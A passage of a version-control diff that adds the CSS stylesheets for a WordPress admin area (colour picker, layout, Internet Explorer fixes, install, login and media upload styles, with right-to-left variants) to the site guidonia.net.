+++ /trunk/www.guidonia.net/wp/wp-admin/css/farbtastic-rtl.css	(revision 44)
@@ -0,0 +1,7 @@
+.farbtastic .color, .farbtastic .overlay {
+	left: 0;
+	right: 47px;
+}
+.farbtastic .marker {
+	margin: -8px -8px 0 0;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/farbtastic.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/farbtastic.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/farbtastic.css	(revision 44)
@@ -0,0 +1,32 @@
+.farbtastic {
+  position: relative;
+}
+.farbtastic * {
+  position: absolute;
+  cursor: crosshair;
+}
+.farbtastic, .farbtastic .wheel {
+  width: 195px;
+  height: 195px;
+}
+.farbtastic .color, .farbtastic .overlay {
+  top: 47px;
+  left: 47px;
+  width: 101px;
+  height: 101px;
+}
+.farbtastic .wheel {
+  background: url(../images/wheel.png) no-repeat;
+  width: 195px;
+  height: 195px;
+}
+.farbtastic .overlay {
+  background: url(../images/mask.png) no-repeat;
+}
+.farbtastic .marker {
+  width: 17px;
+  height: 17px;
+  margin: -8px 0 0 -8px;
+  overflow: hidden;
+  background: url(../images/marker.png) no-repeat;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/global-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/global-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/global-rtl.css	(revision 44)
@@ -0,0 +1,83 @@
+/* 2 column liquid layout */
+#adminmenu {
+	float: right;
+	clear: right;
+	margin-right:-160px;
+	margin-left: 5px;
+}
+body.folded #adminmenu {
+	margin-left: 0;
+	margin-right: -45px;
+}
+/* inner 2 column liquid layout */
+.inner-sidebar {
+	float: left;
+	clear: left;
+}
+
+.has-right-sidebar #post-body {
+	clear:right;
+	float:right;
+	margin-right:0;
+	margin-left:-340px;
+}
+
+.has-right-sidebar #post-body-content {
+	margin-left: 300px;
+	margin-right:0;
+}
+
+#wpbody {
+	margin-left:0;
+	margin-right: 175px;
+}
+.folded #wpbody {
+	margin-left: 0;
+	margin-right: 60px;
+}
+#wpbody-content {
+	float: right;
+}
+/* 2 columns main area */
+#col-right {
+	float: left;
+	clear: left;
+}
+.wrap {
+	margin: 0 5px 0 15px;
+}
+/* styles for use by people extending the WordPress interface */
+body, td, textarea, input, select {
+	font-family: Tahoma, arial;
+}
+.alignleft {
+	float: right;
+}
+.alignright {
+	float: left;
+}
+.subsubsub {
+	float: right;
+}
+.widefat th {
+	text-align: right;
+}
+.widefat th input {
+	margin: 0 8px 0 0;
+}
+.wrap h2 {
+	font-family: arial;
+	padding: 14px 0 3px 15px;
+}
+.wrap h2.long-header {
+	padding-left: 0;
+}
+.updated, .error {
+	clear: both;
+}
+
+.screen-reader-text, .screen-reader-text span {
+	left:auto;
+	right:-1000em;
+}
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/global.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/global.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/global.css	(revision 44)
@@ -0,0 +1,487 @@
+/* http://meyerweb.com/eric/tools/css/reset/ */
+/* v1.0 | 20080212 */
+
+html, body, div, span, applet, object, iframe,
+h1, h2, h3, h4, h5, h6, p, blockquote, pre,
+a, abbr, acronym, address, big, cite, code,
+del, dfn, em, font, img, ins, kbd, q, s, samp,
+small, strike, strong, sub, sup, tt, var,
+b, u, i, center,
+dl, dt, dd, ol, ul, li,
+fieldset, form, label, legend,
+table, caption, tbody, tfoot, thead, tr, th, td {
+	margin: 0;
+	padding: 0;
+	border: 0;
+	outline: 0;
+/*	font-size: 100%;
+	vertical-align: baseline; */
+	background: transparent;
+}
+body {
+	line-height: 1;
+}
+ol, ul {
+	list-style: none;
+}
+blockquote, q {
+	quotes: none;
+}
+blockquote:before, blockquote:after,
+q:before, q:after {
+	content: '';
+	content: none;
+}
+
+/* remember to define focus styles! */
+/*
+:focus {
+	outline: 0;
+}
+*/
+/* remember to highlight inserts somehow! */
+ins {
+	text-decoration: none;
+}
+del {
+	text-decoration: line-through;
+}
+
+/* tables still need 'cellspacing="0"' in the markup */
+/*
+table {
+	border-collapse: collapse;
+	border-spacing: 0;
+}
+*/
+/* end reset css */
+
+
+/* 2 column liquid layout */
+#wpwrap {
+	height: auto;
+	min-height: 100%;
+	width: 100%;
+}
+
+#wpcontent {
+	height: 100%;
+	padding-bottom: 50px;
+}
+
+#wpbody {
+	clear: both;
+	margin-left: 175px;
+}
+
+.folded #wpbody {
+	margin-left: 60px;
+}
+
+#wpbody-content {
+	float: left;
+	width: 100%;
+}
+
+#adminmenu {
+	float: left;
+	clear: left;
+	width: 145px;
+	margin-top: 15px;
+	margin-right: 5px;
+	margin-bottom: 15px;
+	margin-left: -160px;
+	position: relative;
+	padding: 0;
+	list-style: none;
+}
+
+.folded #adminmenu {
+	margin-left: -45px;
+}
+
+.folded #adminmenu,
+.folded #adminmenu li.menu-top {
+	width: 28px;
+}
+
+#footer {
+	clear: both;
+	position: relative;
+	width: 100%;
+}
+
+/* inner 2 column liquid layout */
+.inner-sidebar {
+	float: right;
+	clear: right;
+	display: none;
+	width: 281px;
+	position: relative;
+}
+
+.inner-sidebar #side-sortables {
+	width: 280px;
+	min-height: 300px;
+}
+
+.has-right-sidebar .inner-sidebar {
+	display: block;
+}
+
+.has-right-sidebar #post-body {
+	float: left;
+	clear: left;
+	width: 100%;
+	margin-right: -340px;
+}
+
+.has-right-sidebar #post-body-content {
+	margin-right: 300px;
+}
+
+/* 2 columns main area */
+
+#col-container {
+	overflow: hidden;
+	padding: 0;
+	margin: 0;
+}
+
+#col-left {
+	padding: 0;
+	margin: 0;
+	overflow: hidden;
+	width: 39%;
+}
+
+#col-right {
+	float: right;
+	clear: right;
+	overflow: hidden;
+	padding: 0;
+	margin: 0;
+	width: 59%;
+}
+
+/* utility classes */
+.alignleft {
+	float: left;
+}
+
+.alignright {
+	float: right;
+}
+
+.textleft {
+	text-align: left;
+}
+
+.textright {
+	text-align: right;
+}
+
+.clear {
+	clear: both;
+}
+
+/* Hide visually but not from screen readers */
+.screen-reader-text,
+.screen-reader-text span {
+	position: absolute;
+	left: -1000em;
+	height: 1px;
+	width: 1px;
+	overflow: hidden;
+}
+
+.hidden,
+.js .closed .inside,
+.js .hide-if-js,
+.no-js .hide-if-no-js {
+	display: none;
+}
+
+/* include margin and padding in the width calculation of input and textarea */
+input[type="text"],
+input[type="password"],
+textarea {
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	-ms-box-sizing: border-box; /* ie8 only */
+	box-sizing: border-box;
+}
+
+input[type="checkbox"],
+input[type="radio"] {
+	vertical-align: middle;
+}
+
+/* styles for use by people extending the WordPress interface */
+html,
+body {
+	height: 100%;
+}
+
+body,
+td,
+textarea,
+input,
+select {
+	font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif;
+	font-size: 13px;
+}
+
+body,
+textarea {
+	line-height: 1.4em;
+}
+
+input,
+select {
+	line-height: 1em;
+}
+
+p {
+	margin: 1em 0;
+}
+
+blockquote {
+	margin: 1em;
+}
+
+label {
+	cursor: pointer;
+}
+
+li,
+dd {
+	margin-bottom: 6px;
+}
+
+p,
+li,
+dl,
+dd,
+dt {
+	line-height: 140%;
+}
+
+textarea,
+input,
+select {
+	margin: 1px;
+	padding: 3px;
+}
+
+h1 {
+  display: block;
+  font-size: 2em;
+  font-weight: bold;
+  margin: .67em 0;
+}
+
+h2 {
+  display: block;
+  font-size: 1.5em;
+  font-weight: bold;
+  margin: .83em 0;
+}
+
+h3 {
+  display: block;
+  font-size: 1.17em;
+  font-weight: bold;
+  margin: 1em 0;
+}
+
+h4 {
+  display: block;
+  font-size: 1em;
+  font-weight: bold;
+  margin: 1.33em 0;
+}
+
+h5 {
+  display: block;
+  font-size: 0.83em;
+  font-weight: bold;
+  margin: 1.67em 0;
+}
+
+h6 {
+  display: block;
+  font-size: 0.67em;
+  font-weight: bold;
+  margin: 2.33em 0;
+}
+
+ul.ul-disc {
+	list-style: disc outside;
+}
+
+ul.ul-square {
+	list-style: square outside;
+}
+
+ol.ol-decimal {
+	list-style: decimal outside;
+}
+
+ul.ul-disc,
+ul.ul-square,
+ol.ol-decimal {
+	margin-left: 1.8em;
+}
+
+ul.ul-disc > li,
+ul.ul-square > li,
+ol.ol-decimal > li {
+	margin: 0 0 0.5em;
+}
+
+.subsubsub {
+	list-style: none;
+	margin: 8px 0 5px;
+	padding: 0;
+	white-space: nowrap;
+	font-size: 11px;
+	float: left;
+}
+
+.subsubsub a {
+	line-height: 2;
+	padding: .2em;
+	text-decoration: none;
+}
+
+.subsubsub a .count, .subsubsub a.current .count {
+	color: #999;
+	font-weight: normal;
+}
+
+.subsubsub a.current {
+	font-weight: bold;
+	background: none;
+	border: none;
+}
+
+.subsubsub li {
+	display: inline;
+	margin: 0;
+	padding: 0;
+}
+
+.widefat {
+	border-width: 1px;
+	border-style: solid;
+	border-spacing: 0;
+	width: 100%;
+	clear: both;
+	margin: 0;
+	-moz-border-radius: 4px;
+	-khtml-border-radius: 4px;
+	-webkit-border-radius: 4px;
+	border-radius: 4px;
+}
+
+.widefat * {
+	word-wrap: break-word;
+}
+
+.widefat a {
+	text-decoration: none;
+}
+
+.widefat td,
+.widefat th {
+	border-bottom-width: 1px;
+	border-bottom-style: solid;
+	font-size: 11px;
+	vertical-align: text-top;
+}
+
+.widefat td {
+	padding: 3px 7px;
+	vertical-align: top;
+}
+
+.widefat td p,
+.widefat td ol,
+.widefat td ul {
+	font-size: 11px;
+}
+
+.widefat th {
+	padding: 7px 7px 8px;
+	text-align: left;
+	line-height: 1.3em;
+}
+
+.widefat th input {
+	margin: 0 0 0 8px;
+	padding: 0;
+	vertical-align: text-top;
+}
+
+.widefat .check-column {
+	width: 2.2em;
+	padding: 0;
+
+}
+
+.widefat tbody th.check-column {
+	padding: 7px 0 22px;
+}
+
+.widefat .num,
+.column-comments,
+.column-links,
+.column-posts,
+.column-parent {
+	text-align: center;
+}
+
+.widefat th#comments {
+	vertical-align: middle;
+}
+
+.wrap {
+	margin: 0 15px 0 5px;
+}
+
+.updated,
+.error {
+	border-width: 1px;
+	border-style: solid;
+	padding: 0 0.6em;
+	margin: 5px 15px 2px;
+	-moz-border-radius: 3px;
+	-khtml-border-radius: 3px;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+}
+
+.updated p,
+.error p {
+	margin: 0.5em 0;
+	line-height: 1;
+	padding: 2px;
+}
+
+.wrap .updated,
+.wrap .error {
+	margin: 5px 0 15px;
+}
+
+.wrap h2 {
+	font: italic normal normal 24px/29px Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
+	margin: 0;
+	padding: 14px 15px 3px 0;
+	line-height: 35px;
+	text-shadow: rgba(255,255,255,1) 0px 1px 0px;
+}
+
+.wrap h2.long-header {
+	padding-right: 0;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/ie-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/ie-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/ie-rtl.css	(revision 44)
@@ -0,0 +1,91 @@
+* html #wpcontent #adminmenu .wp-has-submenu .wp-menu-toggle {
+	background: url(../images/menu-bits-rtl.gif) no-repeat scroll right -109px;
+}
+
+* html #wpcontent #adminmenu li.wp-has-current-submenu .wp-menu-toggle {
+	background: url(../images/menu-bits-rtl.gif) no-repeat scroll right -206px;
+}
+* html #adminmenu {
+	margin-left:0;
+	margin-right: -80px;
+}
+* html div.folded #adminmenu {
+	margin-left: 0;
+	margin-right: -22px;
+}
+#wpcontent #adminmenu .wp-submenu li.wp-submenu-head {
+	padding: 3px 10px 4px 4px;
+}
+.inline-edit-row fieldset label span.title {
+	float: right;
+}
+.inline-edit-row fieldset label span.input-text-wrap {
+	margin-right: 0;
+}
+p.search-box {
+	float: left;
+}
+* html #poststuff h2 {
+	margin-right: 0;
+}
+#bh {
+	margin: 7px 10px 0 0;
+	float: left;
+}
+#user_info + div#favorite-actions {
+	right: auto;
+	left: 15px;
+}
+#wphead-info {
+	float: left;
+}
+/* without this dashboard widgets appear in one column for some screen widths */
+div#dashboard-widgets {
+	padding-right: 0;
+	padding-left: 1px;
+}
+.tagchecklist span a {
+	margin: 4px -9px 0 0;
+}
+.widefat th input {
+	margin: 0 5px 0 0;
+}
+/* ---------- add by navid */
+#TB_window {
+	width: 670px;
+	position: absolute;
+	top: 50%;
+	left: 50%;
+	margin-right: 335px !important;
+}
+#dashboard_plugins {
+	direction: ltr;
+}
+#dashboard_plugins h3.hndle {
+	direction: rtl;
+}
+#dashboard_incoming_links ul li,
+#dashboard_secondary ul li,
+#dashboard_primary ul li,
+p.row-actions {
+	width: 100%;
+}
+#favorite-inside {
+	position: absolute;
+	right:0;
+}
+#post-status-info {
+	height: 25px;
+}
+#screen-meta {
+	position: static;
+}
+p.submit { /* quick edit and reply in edit-comments.php */
+	height:22px;
+}
+.inner-sidebar { /* fix edit single comment */
+	position: static;
+}
+form#widgets-filter { /* fix widget page */
+	position: static;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/ie.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/ie.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/ie.css	(revision 44)
@@ -0,0 +1,401 @@
+/* Fixes for IE bugs */
+
+input.button,
+input.button-secondary,
+input.button-highlighted {
+	padding: 0;
+}
+
+#minor-publishing-actions input,
+#major-publishing-actions input {
+	min-width: auto;
+	padding-left: 0;
+	padding-right: 0;
+}
+
+#wpbody-content .postbox {
+	border: 1px solid #dfdfdf;
+}
+
+#wpbody-content .postbox h3 {
+	margin-bottom: -1px;
+}
+
+* html .inner-sidebar #side-sortables,
+* html .postbox-container .meta-box-sortables {
+	height: 300px;
+}
+
+* html #wpbody-content #screen-options-link-wrap {
+	display: inline-block;
+	width: 150px;
+	text-align: center;
+}
+
+* html #wpbody-content #contextual-help-link-wrap {
+	display: inline-block;
+	width: 100px;
+	text-align: center;
+}
+
+* html #adminmenu {
+	margin-left: -80px;
+}
+
+* html .folded #adminmenu {
+	margin-left: -22px;
+}
+
+* html #wpcontent #adminmenu li.menu-top {
+	display: inline;
+	padding: 0;
+	margin: 0;
+}
+
+* html #footer {
+	margin: 0;
+}
+
+.folded #adminmenu li.menu-top {
+	display: block;
+	zoom: 100%;
+}
+
+ul#adminmenu {
+	z-index: 99;
+}
+
+#adminmenu li.menu-top a.menu-top {
+	min-width: auto;
+	width: auto;
+}
+
+#wpcontent #adminmenu li.wp-has-current-submenu a.wp-has-submenu {
+	font-style: normal;
+}
+
+* html #wpcontent #adminmenu .wp-menu-open .wp-menu-toggle {
+	background: none;
+}
+
+* html #wpcontent #adminmenu .wp-has-submenu .wp-menu-toggle {
+	background: url(../images/menu-bits.gif) no-repeat scroll left -109px;
+}
+
+* html #wpcontent #adminmenu li.wp-has-current-submenu .wp-menu-toggle {
+	background: url(../images/menu-bits.gif) no-repeat scroll left -206px;
+}
+
+* html #adminmenu div.wp-menu-image {
+	height: 29px;
+}
+
+#wpcontent #adminmenu .wp-submenu li {
+	padding: 0;
+}
+
+#adminmenu,
+.wp-submenu,
+.wp-submenu li,
+.wp-menu-toggle {
+	zoom: 100%;
+}
+
+.folded #adminmenu li.wp-menu-separator {
+	width: 28px;
+}
+
+#wpcontent #adminmenu .wp-submenu li.wp-submenu-head {
+	padding: 3px 4px 4px 10px;
+	zoom: 100%;
+}
+
+.folded #adminmenu .menu-top {
+	height: 30px;
+}
+
+.folded #adminmenu .wp-submenu {
+	margin: -1px 0 0 0;
+}
+
+#template,
+#template div,
+#editcat,
+#addcat,
+* html .stuffbox h3 {
+	zoom: 100%;
+}
+
+.submitbox {
+	margin-top: 10px;
+}
+
+/* Inline Editor */
+#wpbody-content .quick-edit-row-post .inline-edit-col-left {
+	width: 39%;
+}
+
+#wpbody-content .inline-edit-row-post .inline-edit-col-center {
+	width: 19%;
+}
+
+#wpbody-content .quick-edit-row-page .inline-edit-col-left {
+	width: 49%;
+}
+
+#wpbody-content .bulk-edit-row .inline-edit-col-left {
+	width: 29%;
+}
+
+.inline-edit-row p.submit {
+	zoom: 100%;
+}
+
+.inline-edit-row fieldset label span.title {
+	display: block;
+	float: left;
+	width: 5em;
+}
+
+.inline-edit-row fieldset label span.input-text-wrap {
+	margin-left: 0;
+	zoom: 100%;
+}
+
+#wpbody-content .inline-edit-row fieldset label span.input-text-wrap input {
+	line-height: 130%;
+}
+
+#wpbody-content .inline-edit-row .input-text-wrap input {
+	width: 95%;
+}
+
+#wpbody-content .inline-edit-row .input-text-wrap input.inline-edit-password-input {
+	width: 8em;
+}
+/* end Inline Editor */
+
+input {
+	line-height: 1;
+}
+
+* html .row-actions {
+	visibility: visible;
+}
+
+#dashboard-widgets h3 a {
+	height: 20px;
+	line-height: 20px;
+}
+
+#wphead-info {
+	float: right;
+}
+
+#titlediv #title {
+	width: 98%;
+}
+
+a.button {
+	line-height: 1.4em;
+	margin: 1px;
+	padding: 4px 6px;
+}
+
+* html div.widget-liquid-left,
+* html div.widget-liquid-right {
+	display: block;
+	position: relative;
+}
+
+#screen-options-wrap {
+	overflow: hidden;
+}
+
+#favorite-actions {
+	z-index: 12;
+}
+
+#favorite-inside,
+#favorite-inside a,
+.favorite-action {
+	zoom: 100%;
+}
+
+#the-comment-list .comment-item,
+#post-status-info,
+#wpwrap,
+#wpcontent,
+#wrap,
+#postdivrich,
+#postdiv,
+#poststuff,
+.metabox-holder,
+#titlediv,
+#post-body,
+#editorcontainer,
+.tablenav,
+.widget-liquid-left,
+.widget-liquid-right,
+#widgets-left,
+.widgets-sortables,
+#dragHelper,
+.widget .widget-top,
+.widget,
+.widget-control-actions,
+.tagchecklist,
+#col-container,
+#col-left,
+#col-right,
+.fileedit-sub {
+	display: block;
+	zoom: 100%;
+}
+
+p.search-box {
+	position: static;
+	float: right;
+	margin: -3px 0 4px;
+}
+
+* html #editorcontainer {
+	padding: 0;
+}
+
+#editorcontainer #content {
+	overflow: auto;
+	margin: auto;
+	width: 98%;
+}
+
+form#template div {
+	width: 100%;
+}
+
+#ed_toolbar input,
+#ed_reply_toolbar input {
+	overflow: visible;
+	padding: 0 4px;
+}
+
+#poststuff h2 {
+	font-size: 1.6em;
+}
+
+* html #poststuff h2 {
+	margin-left: 0;
+}
+
+#bh {
+	margin: 7px 10px 0 0;
+	float: right;
+}
+
+/* without this dashboard widgets appear in one column for some screen widths */
+div#dashboard-widgets {
+	padding-right: 1px;
+}
+
+.tagchecklist span, .tagchecklist span a {
+	display: inline-block;
+	display: block;
+}
+
+.tagchecklist span a {
+	margin: 4px 0 0 -9px;
+}
+
+.tablenav .button-secondary, .nav .button-secondary {
+	padding: 0 1px;
+	vertical-align: middle;
+}
+
+.tablenav select {
+	font-size: 13px;
+	display: inline-block;
+	vertical-align: top;
+	margin-top: 2px;
+}
+
+table.ie-fixed {
+	table-layout: fixed;
+}
+
+.widefat tr, .widefat th {
+	margin-bottom: 0;
+	border-spacing: 0;
+}
+
+.widefat th input {
+	margin: 0 0 0 5px;
+}
+
+.widefat .check-column {
+	padding: 6px 0 2px;
+}
+
+.widefat tbody th.check-column {
+	padding: 4px 0 22px;
+}
+
+.widefat {
+	empty-cells: show;
+	border-collapse: collapse;
+}
+
+.tablenav a.button-secondary {
+	display: inline-block;
+	padding: 2px 5px;
+}
+
+* html .stuffbox,
+* html .stuffbox input,
+* html .stuffbox textarea {
+	border: 1px solid #DFDFDF;
+}
+
+* html .feature-filter .feature-group li {
+	width: 145px;
+}
+
+* html .widget-top .widget-title-action a {
+    background: url("../images/menu-bits.gif") no-repeat scroll 0 -110px;
+}
+
+* html div.widget-liquid-left {
+    width: 99%;
+}
+
+#wp_inactive_widgets {
+	padding-bottom: 8px;
+}
+
+* html .widgets-sortables {
+	height: 50px;
+}
+
+* html a#content_resize {
+	right: -2px;
+}
+
+* html .widget-title h4 {
+	width: 205px;
+}
+
+* html #removing-widget .in-widget-title {
+	display: none;
+}
+
+#available-widgets .widget-holder {
+	padding-bottom: 65px;
+}
+
+#widgets-left .inactive {
+	padding-bottom: 10px;
+}
+
+.widget-liquid-right .widget,
+#wp_inactive_widgets .widget {
+	position: relative;
+}
+
Index: /trunk/www.guidonia.net/wp/wp-admin/css/install-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/install-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/install-rtl.css	(revision 44)
@@ -0,0 +1,16 @@
+body {
+	font-family: Tahoma, arial;
+}
+h1 {
+	font-family: arial;
+	margin: 5px -4px 0 0;
+}
+ul, ol { padding: 5px 22px 5px 5px; }
+.step, th { text-align: right; }
+.submit input, .button, .button-secondary {
+	font-family: Tahoma, arial;
+	margin-right:0;
+}
+.form-table th {
+	text-align: right;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/install.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/install.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/install.css	(revision 44)
@@ -0,0 +1,133 @@
+html { background: #f7f7f7; }
+
+body {
+	background: #fff;
+	color: #333;
+	font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif;
+	margin: 2em auto 0 auto;
+	width: 700px;
+	padding: 1em 2em;
+	-moz-border-radius: 11px;
+	-khtml-border-radius: 11px;
+	-webkit-border-radius: 11px;
+	border-radius: 11px;
+	border: 1px solid #dfdfdf;
+}
+
+a { color: #2583ad; text-decoration: none; }
+
+a:hover { color: #d54e21; }
+
+h1 {
+	border-bottom: 1px solid #dadada;
+	clear: both;
+	color: #666;
+	font: 24px Georgia, "Times New Roman", Times, serif;
+	margin: 5px 0 0 -4px;
+	padding: 0;
+	padding-bottom: 7px;
+}
+
+h2 { font-size: 16px; }
+
+p, li {
+	padding-bottom: 2px;
+	font-size: 12px;
+	line-height: 18px;
+}
+
+code { font-size: 13px; }
+
+ul, ol { padding: 5px 5px 5px 22px; }
+
+#logo { margin: 6px 0 14px 0; border-bottom: none;}
+
+.step {
+	margin: 20px 0 15px;
+}
+
+.step, th { text-align: left; padding: 0; }
+
+.submit input, .button, .button-secondary {
+	font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif;
+	text-decoration: none;
+	font-size: 14px !important;
+	line-height: 16px;
+	padding: 6px 12px;
+	cursor: pointer;
+	border: 1px solid #bbb;
+	color: #464646;
+	-moz-border-radius: 15px;
+	-khtml-border-radius: 15px;
+	-webkit-border-radius: 15px;
+	border-radius: 15px;
+	-moz-box-sizing: content-box;
+	-webkit-box-sizing: content-box;
+	-khtml-box-sizing: content-box;
+	box-sizing: content-box;
+}
+
+.button:hover, .button-secondary:hover, .submit input:hover {
+	color: #000;
+	border-color: #666;
+}
+
+.button, .submit input, .button-secondary {
+	background: #f2f2f2 url(../images/white-grad.png) repeat-x scroll left top;
+}
+
+.button:active, .submit input:active, .button-secondary:active {
+	background: #eee url(../images/white-grad-active.png) repeat-x scroll left top;
+}
+
+.form-table {
+	border-collapse: collapse;
+	margin-top: 1em;
+	width: 100%;
+}
+
+.form-table td {
+	margin-bottom: 9px;
+	padding: 10px;
+	border-bottom: 8px solid #fff;
+	font-size: 12px;
+}
+
+.form-table th {
+	font-size: 13px;
+	text-align: left;
+	padding: 16px 10px 10px 10px;
+	border-bottom: 8px solid #fff;
+	width: 110px;
+	vertical-align: top;
+}
+
+.form-table tr {
+	background: #f3f3f3;
+}
+
+.form-table code {
+	line-height: 18px;
+	font-size: 18px;
+}
+
+.form-table p {
+	margin: 4px 0 0 0;
+	font-size: 11px;
+}
+
+.form-table input {
+	line-height: 20px;
+	font-size: 15px;
+	padding: 2px;
+}
+
+#error-page { margin-top: 50px; }
+
+#error-page p {
+	font-size: 12px;
+	line-height: 18px;
+	margin: 25px 0 20px;
+}
+
+#error-page code { font-family: Consolas, Monaco, Courier, monospace; }
Index: /trunk/www.guidonia.net/wp/wp-admin/css/login-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/login-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/login-rtl.css	(revision 44)
@@ -0,0 +1,30 @@
+body {
+	font-family: Tahoma, arial;
+}
+form {
+	margin-right: 8px;
+	margin-left: 0;
+}
+form .forgetmenot {
+	float: right;
+}
+#login form .submit input {
+	font-family: Tahoma, arial;
+}
+form .submit { float: left; }
+#backtoblog a {
+	left: auto;
+	right: 15px;
+}
+#login_error, .message {
+	margin: 0 8px 16px 0;
+}
+#nav { margin: 0 8px 0 0; }
+#user_pass, #user_login, #user_email {
+	margin-left: 6px;
+	margin-right: 0;
+	direction:ltr;
+}
+h1 a {
+	text-decoration: none;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/login.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/login.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/login.css	(revision 44)
@@ -0,0 +1,111 @@
+* { margin: 0; padding: 0; }
+
+body {
+	border-top-width: 30px;
+	border-top-style: solid;
+	font: 11px "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif;
+}
+
+form {
+	margin-left: 8px;
+	padding: 16px 16px 40px 16px;
+	font-weight: normal;
+	-moz-border-radius: 11px;
+	-khtml-border-radius: 11px;
+	-webkit-border-radius: 11px;
+	border-radius: 5px;
+	background: #fff;
+	border: 1px solid #e5e5e5;
+	-moz-box-shadow: rgba(200,200,200,1) 0 4px 18px;
+	-webkit-box-shadow: rgba(200,200,200,1) 0 4px 18px;
+	-khtml-box-shadow: rgba(200,200,200,1) 0 4px 18px;
+	box-shadow: rgba(200,200,200,1) 0 4px 18px;
+}
+
+form .forgetmenot { font-weight: normal; float: left; margin-bottom: 0; }
+
+#login form .submit input {
+	font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif;
+	padding: 3px 10px;
+	border: none;
+	font-size: 12px;
+	border-width: 1px;
+	border-style: solid;
+	-moz-border-radius: 11px;
+	-khtml-border-radius: 11px;
+	-webkit-border-radius: 11px;
+	border-radius: 11px;
+	cursor: pointer;
+	text-decoration: none;
+	margin-top: -3px;
+	text-shadow: rgba(0,0,0,0.3) 0 -1px 0;
+}
+
+#login form p {
+	margin-bottom: 0;
+}
+
+label {
+	color: #777;
+	font-size: 13px;
+}
+
+form .forgetmenot label {
+	font-size: 11px;
+	line-height: 19px;
+}
+
+form .submit { float: right; }
+
+form p { margin-bottom: 24px; }
+
+h1 a {
+	background: url(../images/logo-login.gif) no-repeat top center;
+	width: 326px;
+	height: 67px;
+	text-indent: -9999px;
+	overflow: hidden;
+	padding-bottom: 15px;
+	display: block;
+}
+
+#nav {
+	text-shadow: rgba(255,255,255,1) 0 1px 0;
+}
+
+#backtoblog a {
+	position: absolute;
+	top: 7px;
+	left: 15px;
+	text-decoration: none;
+}
+
+#login { width: 320px; margin: 7em auto; }
+
+#login_error, .message {
+	margin: 0 0 16px 8px;
+	border-width: 1px;
+	border-style: solid;
+	padding: 12px;
+	-moz-border-radius: 3px;
+	-khtml-border-radius: 3px;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+}
+
+#nav { margin: 0 0 0 8px; padding: 16px; }
+
+#user_pass, #user_login, #user_email {
+	font-size: 24px;
+	width: 97%;
+	padding: 3px;
+	margin-top: 2px;
+	margin-right: 6px;
+	margin-bottom: 16px;
+	border: 1px solid #e5e5e5;
+	background: #fbfbfb;
+}
+
+.clear {
+	clear: both;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/media-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/media-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/media-rtl.css	(revision 44)
@@ -0,0 +1,93 @@
+body#media-upload ul#sidemenu {
+	left: auto;
+	right: 0;
+}
+#search-filter {
+	text-align: left;
+}
+/* specific to the image upload form */
+.align .field label {
+	padding: 0 28px 0 0;
+	margin: 0 0 0 1em;
+}
+.image-align-none-label, .image-align-left-label, .image-align-center-label, .image-align-right-label {
+	background-position: center right;
+}
+tr.image-size div.image-size-item {
+	float: right;
+}
+tr.image-size label {
+	margin: 0 1em 0 0;
+}
+.filename.original {
+	float: right;
+}
+.crunching {
+	text-align: left;
+	margin-right: 0;
+	margin-left: 5px;
+}
+button.dismiss {
+	right: auto;
+	left: 5px;
+}
+.file-error {
+	margin: 0 50px 5px 0;
+}
+.progress {
+	left: auto;
+	right: 0;
+}
+.describe td {
+	padding: 0 0 0 5px;
+}
+.bar {
+	border-right-width: 0;
+	border-left-width: 3px;
+	border-right-style: none;
+	border-left-style: solid;
+}
+.media-item .pinkynail {
+	float: right;
+}
+.describe-toggle-on,
+.describe-toggle-off {
+	float: left;
+	margin-right: 0;
+	margin-left: 20px;
+}
+/* Specific to Uploader */
+#media-upload .media-upload-form p {
+	margin: 0 0 1em 1em;
+}
+.filename {
+	float: right;
+	margin-left: 0;
+	margin-right: 10px;
+}
+#media-upload .describe th.label {
+	text-align: right;
+}
+.menu_order {
+	float: left;
+}
+.media-upload-form label.form-help, td.help, #media-upload p.help, #media-upload label.help {
+	font-family: Tahoma, Arial;
+}
+#gallery-settings #basic th.label {
+	padding: 5px 0 5px 5px;
+}
+#gallery-settings .title, h3.media-title {
+	font-family: Tahoma, Arial;
+}
+#gallery-settings .describe th.label {
+	text-align: right;
+}
+#gallery-settings label,
+#gallery-settings legend {
+	margin-right: 0;
+	margin-left: 15px;
+}
